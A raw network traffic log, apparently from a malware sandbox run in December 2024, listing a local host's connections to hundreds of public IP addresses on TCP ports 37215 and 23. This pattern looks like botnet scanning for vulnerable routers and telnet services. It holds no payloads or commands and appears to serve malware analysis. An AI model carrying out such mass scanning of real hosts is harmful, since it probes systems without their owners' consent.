Dec 3, 2024 23:16:48.707892895 CET	40597	37215	192.168.2.23	41.84.208.49
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	41.117.97.196
Dec 3, 2024 23:16:48.707890034 CET	40597	37215	192.168.2.23	156.238.5.158
Dec 3, 2024 23:16:48.707890987 CET	40597	37215	192.168.2.23	197.59.206.217
Dec 3, 2024 23:16:48.707892895 CET	40597	37215	192.168.2.23	41.106.186.21
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	41.49.79.167
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	156.169.175.134
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	197.123.130.183
Dec 3, 2024 23:16:48.707916021 CET	40597	37215	192.168.2.23	41.225.221.206
Dec 3, 2024 23:16:48.707890034 CET	40597	37215	192.168.2.23	41.48.240.221
Dec 3, 2024 23:16:48.707890034 CET	40597	37215	192.168.2.23	41.149.32.31
Dec 3, 2024 23:16:48.707890034 CET	40597	37215	192.168.2.23	197.70.154.255
Dec 3, 2024 23:16:48.707916021 CET	40597	37215	192.168.2.23	41.136.231.46
Dec 3, 2024 23:16:48.707890034 CET	40597	37215	192.168.2.23	156.152.87.92
Dec 3, 2024 23:16:48.707916021 CET	40597	37215	192.168.2.23	41.5.18.160
Dec 3, 2024 23:16:48.707890034 CET	40597	37215	192.168.2.23	197.180.53.126
Dec 3, 2024 23:16:48.707916021 CET	40597	37215	192.168.2.23	197.78.203.98
Dec 3, 2024 23:16:48.707890034 CET	40597	37215	192.168.2.23	197.200.72.217
Dec 3, 2024 23:16:48.707890987 CET	40597	37215	192.168.2.23	156.175.144.254
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	197.134.44.32
Dec 3, 2024 23:16:48.707890987 CET	40597	37215	192.168.2.23	197.96.37.185
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	197.126.167.101
Dec 3, 2024 23:16:48.707890987 CET	40597	37215	192.168.2.23	41.22.215.22
Dec 3, 2024 23:16:48.707889080 CET	40597	37215	192.168.2.23	156.176.128.173
Dec 3, 2024 23:16:48.707890987 CET	40597	37215	192.168.2.23	156.134.166.63
Dec 3, 2024 23:16:48.707926989 CET	40597	37215	192.168.2.23	197.50.252.188
Dec 3, 2024 23:16:48.707926989 CET	40597	37215	192.168.2.23	41.8.126.15
Dec 3, 2024 23:16:48.707926989 CET	40597	37215	192.168.2.23	197.47.95.98
Dec 3, 2024 23:16:48.707926989 CET	40597	37215	192.168.2.23	41.129.232.63
Dec 3, 2024 23:16:48.707926989 CET	40597	37215	192.168.2.23	41.215.201.51
Dec 3, 2024 23:16:48.707926989 CET	40597	37215	192.168.2.23	156.226.153.61
Dec 3, 2024 23:16:48.707926989 CET	40597	37215	192.168.2.23	197.76.12.132
Dec 3, 2024 23:16:48.707926989 CET	40597	37215	192.168.2.23	41.97.229.8
Dec 3, 2024 23:16:48.707933903 CET	40597	37215	192.168.2.23	197.81.83.16
Dec 3, 2024 23:16:48.707933903 CET	40597	37215	192.168.2.23	41.212.187.42
Dec 3, 2024 23:16:48.707936049 CET	40597	37215	192.168.2.23	197.39.148.12
Dec 3, 2024 23:16:48.707937002 CET	40597	37215	192.168.2.23	197.115.3.78
Dec 3, 2024 23:16:48.707936049 CET	40597	37215	192.168.2.23	41.253.86.57
Dec 3, 2024 23:16:48.707937002 CET	40597	37215	192.168.2.23	197.230.74.101
Dec 3, 2024 23:16:48.707938910 CET	40597	37215	192.168.2.23	156.186.196.13
Dec 3, 2024 23:16:48.707937002 CET	40597	37215	192.168.2.23	197.140.2.178
Dec 3, 2024 23:16:48.707936049 CET	40597	37215	192.168.2.23	156.199.155.113
Dec 3, 2024 23:16:48.707937002 CET	40597	37215	192.168.2.23	41.160.104.112
Dec 3, 2024 23:16:48.707940102 CET	40597	37215	192.168.2.23	41.160.175.167
Dec 3, 2024 23:16:48.707937002 CET	40597	37215	192.168.2.23	156.248.233.245
Dec 3, 2024 23:16:48.707941055 CET	40597	37215	192.168.2.23	156.87.98.102
Dec 3, 2024 23:16:48.707942009 CET	40597	37215	192.168.2.23	41.82.183.57
Dec 3, 2024 23:16:48.707940102 CET	40597	37215	192.168.2.23	41.143.210.119
Dec 3, 2024 23:16:48.707936049 CET	40597	37215	192.168.2.23	197.84.103.46
Dec 3, 2024 23:16:48.707942009 CET	40597	37215	192.168.2.23	197.4.141.117
Dec 3, 2024 23:16:48.707936049 CET	40597	37215	192.168.2.23	197.24.29.199
Dec 3, 2024 23:16:48.707940102 CET	40597	37215	192.168.2.23	156.27.62.173
Dec 3, 2024 23:16:48.707940102 CET	40597	37215	192.168.2.23	156.54.51.18
Dec 3, 2024 23:16:48.707941055 CET	40597	37215	192.168.2.23	41.67.51.126
Dec 3, 2024 23:16:48.707940102 CET	40597	37215	192.168.2.23	197.81.224.69
Dec 3, 2024 23:16:48.707941055 CET	40597	37215	192.168.2.23	41.84.56.237
Dec 3, 2024 23:16:48.707940102 CET	40597	37215	192.168.2.23	41.245.63.51
Dec 3, 2024 23:16:48.707936049 CET	40597	37215	192.168.2.23	41.181.104.95
Dec 3, 2024 23:16:48.707952023 CET	40597	37215	192.168.2.23	41.59.140.64
Dec 3, 2024 23:16:48.707941055 CET	40597	37215	192.168.2.23	41.165.238.46
Dec 3, 2024 23:16:48.707938910 CET	40597	37215	192.168.2.23	156.114.154.111
Dec 3, 2024 23:16:48.707941055 CET	40597	37215	192.168.2.23	41.124.212.91
Dec 3, 2024 23:16:48.707940102 CET	40597	37215	192.168.2.23	41.212.57.122
Dec 3, 2024 23:16:48.707937002 CET	40597	37215	192.168.2.23	156.218.166.144
Dec 3, 2024 23:16:48.707940102 CET	40597	37215	192.168.2.23	197.204.131.126
Dec 3, 2024 23:16:48.707937002 CET	40597	37215	192.168.2.23	41.69.237.95
Dec 3, 2024 23:16:48.707941055 CET	40597	37215	192.168.2.23	156.141.254.170
Dec 3, 2024 23:16:48.707940102 CET	40597	37215	192.168.2.23	156.132.97.5
Dec 3, 2024 23:16:48.707941055 CET	40597	37215	192.168.2.23	197.225.170.25
Dec 3, 2024 23:16:48.707940102 CET	40597	37215	192.168.2.23	41.156.127.153
Dec 3, 2024 23:16:48.707937002 CET	40597	37215	192.168.2.23	197.106.255.242
Dec 3, 2024 23:16:48.707941055 CET	40597	37215	192.168.2.23	197.110.57.158
Dec 3, 2024 23:16:48.707940102 CET	40597	37215	192.168.2.23	156.187.183.47
Dec 3, 2024 23:16:48.707940102 CET	40597	37215	192.168.2.23	156.78.87.245
Dec 3, 2024 23:16:48.707938910 CET	40597	37215	192.168.2.23	156.211.170.38
Dec 3, 2024 23:16:48.707940102 CET	40597	37215	192.168.2.23	41.136.11.118
Dec 3, 2024 23:16:48.707938910 CET	40597	37215	192.168.2.23	41.139.17.106
Dec 3, 2024 23:16:48.707941055 CET	40597	37215	192.168.2.23	197.37.107.248
Dec 3, 2024 23:16:48.707940102 CET	40597	37215	192.168.2.23	41.146.26.136
Dec 3, 2024 23:16:48.707938910 CET	40597	37215	192.168.2.23	156.86.184.115
Dec 3, 2024 23:16:48.707952023 CET	40597	37215	192.168.2.23	197.196.200.220
Dec 3, 2024 23:16:48.707938910 CET	40597	37215	192.168.2.23	197.114.238.100
Dec 3, 2024 23:16:48.707936049 CET	40597	37215	192.168.2.23	197.111.118.76
Dec 3, 2024 23:16:48.707938910 CET	40597	37215	192.168.2.23	156.1.229.34
Dec 3, 2024 23:16:48.707940102 CET	40597	37215	192.168.2.23	197.186.98.153
Dec 3, 2024 23:16:48.707964897 CET	40597	37215	192.168.2.23	197.89.42.42
Dec 3, 2024 23:16:48.707936049 CET	40597	37215	192.168.2.23	197.47.42.58
Dec 3, 2024 23:16:48.707964897 CET	40597	37215	192.168.2.23	156.241.141.243
Dec 3, 2024 23:16:48.707964897 CET	40597	37215	192.168.2.23	41.125.226.107
Dec 3, 2024 23:16:48.707969904 CET	40597	37215	192.168.2.23	41.251.212.12
Dec 3, 2024 23:16:48.707964897 CET	40597	37215	192.168.2.23	197.174.178.144
Dec 3, 2024 23:16:48.707969904 CET	40597	37215	192.168.2.23	197.16.56.172
Dec 3, 2024 23:16:48.707964897 CET	40597	37215	192.168.2.23	41.168.110.169
Dec 3, 2024 23:16:48.707969904 CET	40597	37215	192.168.2.23	156.154.255.188
Dec 3, 2024 23:16:48.707973003 CET	40597	37215	192.168.2.23	156.255.175.168
Dec 3, 2024 23:16:48.707973003 CET	40597	37215	192.168.2.23	197.182.54.100
Dec 3, 2024 23:16:48.707969904 CET	40597	37215	192.168.2.23	197.162.68.209
Dec 3, 2024 23:16:48.707964897 CET	40597	37215	192.168.2.23	41.191.107.224
Dec 3, 2024 23:16:48.707973003 CET	40597	37215	192.168.2.23	197.8.178.112
Dec 3, 2024 23:16:48.707969904 CET	40597	37215	192.168.2.23	41.16.223.136
Dec 3, 2024 23:16:48.707973003 CET	40597	37215	192.168.2.23	41.162.57.245
Dec 3, 2024 23:16:48.707973003 CET	40597	37215	192.168.2.23	41.55.149.102
Dec 3, 2024 23:16:48.707973003 CET	40597	37215	192.168.2.23	156.104.109.67
Dec 3, 2024 23:16:48.707973003 CET	40597	37215	192.168.2.23	156.160.38.79
Dec 3, 2024 23:16:48.707973003 CET	40597	37215	192.168.2.23	156.186.108.50
Dec 3, 2024 23:16:48.707969904 CET	40597	37215	192.168.2.23	156.241.144.179
Dec 3, 2024 23:16:48.707973003 CET	40597	37215	192.168.2.23	156.39.89.242
Dec 3, 2024 23:16:48.707973003 CET	40597	37215	192.168.2.23	156.104.86.74
Dec 3, 2024 23:16:48.707973003 CET	40597	37215	192.168.2.23	156.247.1.230
Dec 3, 2024 23:16:48.707973003 CET	40597	37215	192.168.2.23	41.51.230.181
Dec 3, 2024 23:16:48.707973003 CET	40597	37215	192.168.2.23	156.3.12.92
Dec 3, 2024 23:16:48.707973003 CET	40597	37215	192.168.2.23	197.204.200.91
Dec 3, 2024 23:16:48.707973003 CET	40597	37215	192.168.2.23	197.181.148.212
Dec 3, 2024 23:16:48.707969904 CET	40597	37215	192.168.2.23	156.185.200.249
Dec 3, 2024 23:16:48.707981110 CET	40597	37215	192.168.2.23	156.139.200.138
Dec 3, 2024 23:16:48.707969904 CET	40597	37215	192.168.2.23	41.217.126.119
Dec 3, 2024 23:16:48.707981110 CET	40597	37215	192.168.2.23	156.209.47.80
Dec 3, 2024 23:16:48.707983017 CET	40597	37215	192.168.2.23	156.183.188.190
Dec 3, 2024 23:16:48.707982063 CET	40597	37215	192.168.2.23	41.23.242.176
Dec 3, 2024 23:16:48.707982063 CET	40597	37215	192.168.2.23	156.125.59.94
Dec 3, 2024 23:16:48.707987070 CET	40597	37215	192.168.2.23	156.178.93.95
Dec 3, 2024 23:16:48.707982063 CET	40597	37215	192.168.2.23	156.103.70.13
Dec 3, 2024 23:16:48.707981110 CET	40597	37215	192.168.2.23	41.217.50.213
Dec 3, 2024 23:16:48.707982063 CET	40597	37215	192.168.2.23	156.43.64.17
Dec 3, 2024 23:16:48.707983017 CET	40597	37215	192.168.2.23	156.187.50.233
Dec 3, 2024 23:16:48.707989931 CET	40597	37215	192.168.2.23	156.2.171.51
Dec 3, 2024 23:16:48.707981110 CET	40597	37215	192.168.2.23	156.19.104.222
Dec 3, 2024 23:16:48.707989931 CET	40597	37215	192.168.2.23	41.20.25.27
Dec 3, 2024 23:16:48.707983017 CET	40597	37215	192.168.2.23	156.235.187.235
Dec 3, 2024 23:16:48.707989931 CET	40597	37215	192.168.2.23	156.202.196.193
Dec 3, 2024 23:16:48.707983017 CET	40597	37215	192.168.2.23	41.34.216.192
Dec 3, 2024 23:16:48.707981110 CET	40597	37215	192.168.2.23	156.64.79.140
Dec 3, 2024 23:16:48.707990885 CET	40597	37215	192.168.2.23	156.207.131.59
Dec 3, 2024 23:16:48.707981110 CET	40597	37215	192.168.2.23	197.50.73.46
Dec 3, 2024 23:16:48.707990885 CET	40597	37215	192.168.2.23	197.193.104.228
Dec 3, 2024 23:16:48.707989931 CET	40597	37215	192.168.2.23	197.42.18.243
Dec 3, 2024 23:16:48.707981110 CET	40597	37215	192.168.2.23	41.248.23.174
Dec 3, 2024 23:16:48.707989931 CET	40597	37215	192.168.2.23	41.211.95.184
Dec 3, 2024 23:16:48.707983017 CET	40597	37215	192.168.2.23	41.210.23.142
Dec 3, 2024 23:16:48.707990885 CET	40597	37215	192.168.2.23	156.127.85.167
Dec 3, 2024 23:16:48.707989931 CET	40597	37215	192.168.2.23	197.224.102.142
Dec 3, 2024 23:16:48.707990885 CET	40597	37215	192.168.2.23	41.178.159.127
Dec 3, 2024 23:16:48.707983017 CET	40597	37215	192.168.2.23	197.236.193.223
Dec 3, 2024 23:16:48.707990885 CET	40597	37215	192.168.2.23	41.176.219.236
Dec 3, 2024 23:16:48.707989931 CET	40597	37215	192.168.2.23	156.87.209.2
Dec 3, 2024 23:16:48.707983017 CET	40597	37215	192.168.2.23	197.184.8.164
Dec 3, 2024 23:16:48.707990885 CET	40597	37215	192.168.2.23	156.79.187.170
Dec 3, 2024 23:16:48.707989931 CET	40597	37215	192.168.2.23	156.202.0.229
Dec 3, 2024 23:16:48.707990885 CET	40597	37215	192.168.2.23	41.11.113.5
Dec 3, 2024 23:16:48.707983017 CET	40597	37215	192.168.2.23	197.49.121.81
Dec 3, 2024 23:16:48.707990885 CET	40597	37215	192.168.2.23	41.134.112.210
Dec 3, 2024 23:16:48.708003998 CET	40597	37215	192.168.2.23	41.26.71.221
Dec 3, 2024 23:16:48.708008051 CET	40597	37215	192.168.2.23	41.61.111.34
Dec 3, 2024 23:16:48.708008051 CET	40597	37215	192.168.2.23	41.90.35.208
Dec 3, 2024 23:16:48.708010912 CET	40597	37215	192.168.2.23	197.32.247.40
Dec 3, 2024 23:16:48.708014965 CET	40597	37215	192.168.2.23	197.204.91.119
Dec 3, 2024 23:16:48.708014965 CET	40597	37215	192.168.2.23	156.180.185.92
Dec 3, 2024 23:16:48.708014965 CET	40597	37215	192.168.2.23	41.103.193.233
Dec 3, 2024 23:16:48.708014965 CET	40597	37215	192.168.2.23	197.182.216.49
Dec 3, 2024 23:16:48.708014965 CET	40597	37215	192.168.2.23	156.109.68.122
Dec 3, 2024 23:16:48.708014965 CET	40597	37215	192.168.2.23	41.60.188.50
Dec 3, 2024 23:16:48.708014965 CET	40597	37215	192.168.2.23	41.24.38.76
Dec 3, 2024 23:16:48.708014965 CET	40597	37215	192.168.2.23	156.251.107.93
Dec 3, 2024 23:16:48.708015919 CET	40597	37215	192.168.2.23	197.119.213.218
Dec 3, 2024 23:16:48.708015919 CET	40597	37215	192.168.2.23	156.7.159.243
Dec 3, 2024 23:16:48.708015919 CET	40597	37215	192.168.2.23	156.206.185.104
Dec 3, 2024 23:16:48.708017111 CET	40597	37215	192.168.2.23	41.152.66.223
Dec 3, 2024 23:16:48.708029032 CET	40597	37215	192.168.2.23	156.16.107.195
Dec 3, 2024 23:16:48.708036900 CET	40597	37215	192.168.2.23	197.209.125.34
Dec 3, 2024 23:16:48.708038092 CET	40597	37215	192.168.2.23	156.27.204.180
Dec 3, 2024 23:16:48.708137989 CET	57618	37215	192.168.2.23	156.124.55.110
Dec 3, 2024 23:16:48.708165884 CET	56492	37215	192.168.2.23	41.50.74.64
Dec 3, 2024 23:16:48.708165884 CET	56492	37215	192.168.2.23	41.50.74.64
Dec 3, 2024 23:16:48.708514929 CET	56588	37215	192.168.2.23	41.50.74.64
Dec 3, 2024 23:16:48.708811998 CET	50796	37215	192.168.2.23	156.213.87.168
Dec 3, 2024 23:16:48.708811998 CET	50796	37215	192.168.2.23	156.213.87.168
Dec 3, 2024 23:16:48.709038019 CET	50892	37215	192.168.2.23	156.213.87.168
Dec 3, 2024 23:16:48.711327076 CET	59420	23	192.168.2.23	35.28.41.109
Dec 3, 2024 23:16:48.771172047 CET	80	57858	204.71.210.36	192.168.2.23
Dec 3, 2024 23:16:48.771339893 CET	57858	80	192.168.2.23	204.71.210.36
Dec 3, 2024 23:16:48.771339893 CET	57858	80	192.168.2.23	204.71.210.36
Dec 3, 2024 23:16:48.815718889 CET	40602	23	192.168.2.23	68.165.229.172
Dec 3, 2024 23:16:48.815721989 CET	40602	23	192.168.2.23	46.118.209.58
Dec 3, 2024 23:16:48.815723896 CET	40602	23	192.168.2.23	218.106.164.220
Dec 3, 2024 23:16:48.815726995 CET	40602	23	192.168.2.23	53.214.98.76
Dec 3, 2024 23:16:48.815726995 CET	40602	23	192.168.2.23	151.7.132.213
Dec 3, 2024 23:16:48.815727949 CET	40602	23	192.168.2.23	9.114.8.209
Dec 3, 2024 23:16:48.815727949 CET	40602	23	192.168.2.23	179.71.95.49
Dec 3, 2024 23:16:48.815728903 CET	40602	23	192.168.2.23	118.159.70.78
Dec 3, 2024 23:16:48.815728903 CET	40602	23	192.168.2.23	68.49.13.235
Dec 3, 2024 23:16:48.815751076 CET	40602	23	192.168.2.23	105.224.205.185
Dec 3, 2024 23:16:48.815752983 CET	40602	23	192.168.2.23	194.161.25.252
Dec 3, 2024 23:16:48.815752983 CET	40602	23	192.168.2.23	23.216.206.123
Dec 3, 2024 23:16:48.815752983 CET	40602	23	192.168.2.23	17.20.113.136
Dec 3, 2024 23:16:48.815752983 CET	40602	23	192.168.2.23	200.71.123.159
Dec 3, 2024 23:16:48.815753937 CET	40602	23	192.168.2.23	108.133.26.171
Dec 3, 2024 23:16:48.815753937 CET	40602	23	192.168.2.23	156.6.72.169
Dec 3, 2024 23:16:48.815756083 CET	40602	23	192.168.2.23	61.111.249.239
Dec 3, 2024 23:16:48.815756083 CET	40602	23	192.168.2.23	172.239.239.186
Dec 3, 2024 23:16:48.815756083 CET	40602	23	192.168.2.23	187.24.68.79
Dec 3, 2024 23:16:48.815756083 CET	40602	23	192.168.2.23	13.75.7.176
Dec 3, 2024 23:16:48.815756083 CET	40602	23	192.168.2.23	35.24.154.191
Dec 3, 2024 23:16:48.815758944 CET	40602	23	192.168.2.23	79.148.147.12
Dec 3, 2024 23:16:48.815769911 CET	40602	23	192.168.2.23	159.92.31.208
Dec 3, 2024 23:16:48.815771103 CET	40602	23	192.168.2.23	196.141.250.8
Dec 3, 2024 23:16:48.815793991 CET	40602	23	192.168.2.23	19.30.113.73
Dec 3, 2024 23:16:48.815819979 CET	40602	23	192.168.2.23	34.213.223.233
Dec 3, 2024 23:16:48.815848112 CET	40602	23	192.168.2.23	46.147.84.116
Dec 3, 2024 23:16:48.815876961 CET	40602	23	192.168.2.23	41.5.255.234
Dec 3, 2024 23:16:48.815891981 CET	40602	23	192.168.2.23	149.103.247.43
Dec 3, 2024 23:16:48.815920115 CET	40602	23	192.168.2.23	176.74.28.152
Dec 3, 2024 23:16:48.815934896 CET	40602	23	192.168.2.23	120.142.175.124
Dec 3, 2024 23:16:48.815956116 CET	40602	23	192.168.2.23	81.124.126.68
Dec 3, 2024 23:16:48.815988064 CET	40602	23	192.168.2.23	200.85.56.118
Dec 3, 2024 23:16:48.816003084 CET	40602	23	192.168.2.23	92.85.200.144
Dec 3, 2024 23:16:48.816015005 CET	40602	23	192.168.2.23	101.168.23.116
Dec 3, 2024 23:16:48.816015005 CET	40602	23	192.168.2.23	90.66.178.152
Dec 3, 2024 23:16:48.816025972 CET	40602	23	192.168.2.23	18.40.255.108
Dec 3, 2024 23:16:48.816035986 CET	40602	23	192.168.2.23	82.124.19.75
Dec 3, 2024 23:16:48.816039085 CET	40602	23	192.168.2.23	187.17.18.16
Dec 3, 2024 23:16:48.816044092 CET	40602	23	192.168.2.23	72.119.75.40
Dec 3, 2024 23:16:48.816046000 CET	40602	23	192.168.2.23	144.23.130.3
Dec 3, 2024 23:16:48.816056013 CET	40602	23	192.168.2.23	9.155.3.10
Dec 3, 2024 23:16:48.816057920 CET	40602	23	192.168.2.23	48.203.155.133
Dec 3, 2024 23:16:48.816066980 CET	40602	23	192.168.2.23	86.93.2.89
Dec 3, 2024 23:16:48.816066980 CET	40602	23	192.168.2.23	59.46.71.106
Dec 3, 2024 23:16:48.816066980 CET	40602	23	192.168.2.23	84.232.111.251
Dec 3, 2024 23:16:48.816073895 CET	40602	23	192.168.2.23	114.185.210.181
Dec 3, 2024 23:16:48.816083908 CET	40602	23	192.168.2.23	151.215.15.73
Dec 3, 2024 23:16:48.816087961 CET	40602	23	192.168.2.23	93.71.185.190
Dec 3, 2024 23:16:48.816088915 CET	40602	23	192.168.2.23	201.40.58.113
Dec 3, 2024 23:16:48.816102982 CET	40602	23	192.168.2.23	158.101.246.152
Dec 3, 2024 23:16:48.816112041 CET	40602	23	192.168.2.23	196.10.100.165
Dec 3, 2024 23:16:48.816113949 CET	40602	23	192.168.2.23	32.250.194.137
Dec 3, 2024 23:16:48.816113949 CET	40602	23	192.168.2.23	59.59.115.68
Dec 3, 2024 23:16:48.816114902 CET	40602	23	192.168.2.23	35.121.35.4
Dec 3, 2024 23:16:48.816119909 CET	40602	23	192.168.2.23	2.204.204.84
Dec 3, 2024 23:16:48.816121101 CET	40602	23	192.168.2.23	48.63.35.178
Dec 3, 2024 23:16:48.816133022 CET	40602	23	192.168.2.23	69.156.247.222
Dec 3, 2024 23:16:48.816138029 CET	40602	23	192.168.2.23	48.174.154.62
Dec 3, 2024 23:16:48.816142082 CET	40602	23	192.168.2.23	86.21.90.30
Dec 3, 2024 23:16:48.816142082 CET	40602	23	192.168.2.23	71.192.55.22
Dec 3, 2024 23:16:48.816144943 CET	40602	23	192.168.2.23	118.166.65.225
Dec 3, 2024 23:16:48.816152096 CET	40602	23	192.168.2.23	138.242.97.167
Dec 3, 2024 23:16:48.816154003 CET	40602	23	192.168.2.23	37.230.227.155
Dec 3, 2024 23:16:48.816168070 CET	40602	23	192.168.2.23	81.214.106.118
Dec 3, 2024 23:16:48.816169977 CET	40602	23	192.168.2.23	188.29.191.105
Dec 3, 2024 23:16:48.816169977 CET	40602	23	192.168.2.23	62.23.199.43
Dec 3, 2024 23:16:48.816174984 CET	40602	23	192.168.2.23	108.238.175.31
Dec 3, 2024 23:16:48.816188097 CET	40602	23	192.168.2.23	42.244.136.251
Dec 3, 2024 23:16:48.816190958 CET	40602	23	192.168.2.23	146.6.185.138
Dec 3, 2024 23:16:48.816200018 CET	40602	23	192.168.2.23	147.123.4.232
Dec 3, 2024 23:16:48.816205025 CET	40602	23	192.168.2.23	208.185.97.95
Dec 3, 2024 23:16:48.816207886 CET	40602	23	192.168.2.23	212.221.141.47
Dec 3, 2024 23:16:48.816217899 CET	40602	23	192.168.2.23	85.183.166.140
Dec 3, 2024 23:16:48.816220045 CET	40602	23	192.168.2.23	204.183.87.217
Dec 3, 2024 23:16:48.816231012 CET	40602	23	192.168.2.23	13.15.31.42
Dec 3, 2024 23:16:48.816235065 CET	40602	23	192.168.2.23	60.107.102.85
Dec 3, 2024 23:16:48.816246033 CET	40602	23	192.168.2.23	154.53.169.114
Dec 3, 2024 23:16:48.816253901 CET	40602	23	192.168.2.23	96.217.186.62
Dec 3, 2024 23:16:48.816255093 CET	40602	23	192.168.2.23	85.174.248.146
Dec 3, 2024 23:16:48.816260099 CET	40602	23	192.168.2.23	121.203.83.70
Dec 3, 2024 23:16:48.816262007 CET	40602	23	192.168.2.23	123.159.143.16
Dec 3, 2024 23:16:48.816270113 CET	40602	23	192.168.2.23	92.172.234.159
Dec 3, 2024 23:16:48.816282034 CET	40602	23	192.168.2.23	44.87.220.95
Dec 3, 2024 23:16:48.816284895 CET	40602	23	192.168.2.23	27.26.9.116
Dec 3, 2024 23:16:48.816293001 CET	40602	23	192.168.2.23	216.127.197.78
Dec 3, 2024 23:16:48.816303968 CET	40602	23	192.168.2.23	78.92.4.13
Dec 3, 2024 23:16:48.816313982 CET	40602	23	192.168.2.23	132.229.182.69
Dec 3, 2024 23:16:48.816319942 CET	40602	23	192.168.2.23	193.140.246.231
Dec 3, 2024 23:16:48.816327095 CET	40602	23	192.168.2.23	71.193.67.133
Dec 3, 2024 23:16:48.816327095 CET	40602	23	192.168.2.23	150.65.111.247
Dec 3, 2024 23:16:48.816328049 CET	40602	23	192.168.2.23	188.98.253.228
Dec 3, 2024 23:16:48.816328049 CET	40602	23	192.168.2.23	200.132.5.195
Dec 3, 2024 23:16:48.816340923 CET	40602	23	192.168.2.23	144.201.110.249
Dec 3, 2024 23:16:48.816349983 CET	40602	23	192.168.2.23	12.148.224.178
Dec 3, 2024 23:16:48.816358089 CET	40602	23	192.168.2.23	9.83.138.58
Dec 3, 2024 23:16:48.816365957 CET	40602	23	192.168.2.23	195.189.49.195
Dec 3, 2024 23:16:48.816370010 CET	40602	23	192.168.2.23	176.127.147.39
Dec 3, 2024 23:16:48.816370010 CET	40602	23	192.168.2.23	2.152.204.113
Dec 3, 2024 23:16:48.816371918 CET	40602	23	192.168.2.23	178.120.163.32
Dec 3, 2024 23:16:48.816385984 CET	40602	23	192.168.2.23	61.122.111.30
Dec 3, 2024 23:16:48.816385984 CET	40602	23	192.168.2.23	109.236.183.180
Dec 3, 2024 23:16:48.816392899 CET	40602	23	192.168.2.23	71.67.32.249
Dec 3, 2024 23:16:48.816394091 CET	40602	23	192.168.2.23	125.180.222.78
Dec 3, 2024 23:16:48.816401005 CET	40602	23	192.168.2.23	36.135.9.69
Dec 3, 2024 23:16:48.816416025 CET	40602	23	192.168.2.23	63.210.82.180
Dec 3, 2024 23:16:48.816417933 CET	40602	23	192.168.2.23	73.13.233.62
Dec 3, 2024 23:16:48.816426992 CET	40602	23	192.168.2.23	205.168.159.207
Dec 3, 2024 23:16:48.816438913 CET	40602	23	192.168.2.23	157.85.232.10
Dec 3, 2024 23:16:48.816438913 CET	40602	23	192.168.2.23	192.44.224.255
Dec 3, 2024 23:16:48.816438913 CET	40602	23	192.168.2.23	114.196.153.68
Dec 3, 2024 23:16:48.816453934 CET	40602	23	192.168.2.23	221.181.236.37
Dec 3, 2024 23:16:48.816453934 CET	40602	23	192.168.2.23	134.225.56.43
Dec 3, 2024 23:16:48.816462040 CET	40602	23	192.168.2.23	41.55.90.218
Dec 3, 2024 23:16:48.816462040 CET	40602	23	192.168.2.23	129.228.225.118
Dec 3, 2024 23:16:48.816462994 CET	40602	23	192.168.2.23	207.76.36.38
Dec 3, 2024 23:16:48.816479921 CET	40602	23	192.168.2.23	208.27.118.107
Dec 3, 2024 23:16:48.816485882 CET	40602	23	192.168.2.23	27.154.49.37
Dec 3, 2024 23:16:48.816488028 CET	40602	23	192.168.2.23	74.33.53.189
Dec 3, 2024 23:16:48.816494942 CET	40602	23	192.168.2.23	68.28.239.248
Dec 3, 2024 23:16:48.816504002 CET	40602	23	192.168.2.23	216.140.96.107
Dec 3, 2024 23:16:48.816504955 CET	40602	23	192.168.2.23	160.186.3.177
Dec 3, 2024 23:16:48.816504955 CET	40602	23	192.168.2.23	90.16.131.202
Dec 3, 2024 23:16:48.816515923 CET	40602	23	192.168.2.23	129.215.20.224
Dec 3, 2024 23:16:48.816524029 CET	40602	23	192.168.2.23	83.71.169.197
Dec 3, 2024 23:16:48.816524029 CET	40602	23	192.168.2.23	76.112.4.246
Dec 3, 2024 23:16:48.816534996 CET	40602	23	192.168.2.23	195.20.245.174
Dec 3, 2024 23:16:48.816540003 CET	40602	23	192.168.2.23	80.57.153.195
Dec 3, 2024 23:16:48.816545963 CET	40602	23	192.168.2.23	151.4.132.182
Dec 3, 2024 23:16:48.816545963 CET	40602	23	192.168.2.23	113.223.246.26
Dec 3, 2024 23:16:48.816546917 CET	40602	23	192.168.2.23	136.44.42.117
Dec 3, 2024 23:16:48.816550016 CET	40602	23	192.168.2.23	158.71.39.227
Dec 3, 2024 23:16:48.816559076 CET	40602	23	192.168.2.23	45.36.35.176
Dec 3, 2024 23:16:48.816570044 CET	40602	23	192.168.2.23	12.200.3.110
Dec 3, 2024 23:16:48.816576004 CET	40602	23	192.168.2.23	165.7.5.162
Dec 3, 2024 23:16:48.816576004 CET	40602	23	192.168.2.23	66.22.87.191
Dec 3, 2024 23:16:48.816586018 CET	40602	23	192.168.2.23	139.37.119.76
Dec 3, 2024 23:16:48.816591978 CET	40602	23	192.168.2.23	100.43.57.163
Dec 3, 2024 23:16:48.816601038 CET	40602	23	192.168.2.23	70.97.235.185
Dec 3, 2024 23:16:48.816601038 CET	40602	23	192.168.2.23	222.61.167.169
Dec 3, 2024 23:16:48.816613913 CET	40602	23	192.168.2.23	181.59.246.45
Dec 3, 2024 23:16:48.816620111 CET	40602	23	192.168.2.23	32.13.95.4
Dec 3, 2024 23:16:48.816627979 CET	40602	23	192.168.2.23	72.172.236.251
Dec 3, 2024 23:16:48.816632986 CET	40602	23	192.168.2.23	90.91.221.167
Dec 3, 2024 23:16:48.816639900 CET	40602	23	192.168.2.23	175.129.237.134
Dec 3, 2024 23:16:48.816641092 CET	40602	23	192.168.2.23	189.157.8.43
Dec 3, 2024 23:16:48.816648960 CET	40602	23	192.168.2.23	94.39.8.54
Dec 3, 2024 23:16:48.816658974 CET	40602	23	192.168.2.23	12.156.253.149
Dec 3, 2024 23:16:48.816660881 CET	40602	23	192.168.2.23	212.43.91.47
Dec 3, 2024 23:16:48.816663980 CET	40602	23	192.168.2.23	135.71.89.246
Dec 3, 2024 23:16:48.816665888 CET	40602	23	192.168.2.23	102.193.138.174
Dec 3, 2024 23:16:48.816665888 CET	40602	23	192.168.2.23	136.41.80.194
Dec 3, 2024 23:16:48.816668987 CET	40602	23	192.168.2.23	139.137.234.156
Dec 3, 2024 23:16:48.816674948 CET	40602	23	192.168.2.23	161.251.250.241
Dec 3, 2024 23:16:48.816683054 CET	40602	23	192.168.2.23	174.80.126.5
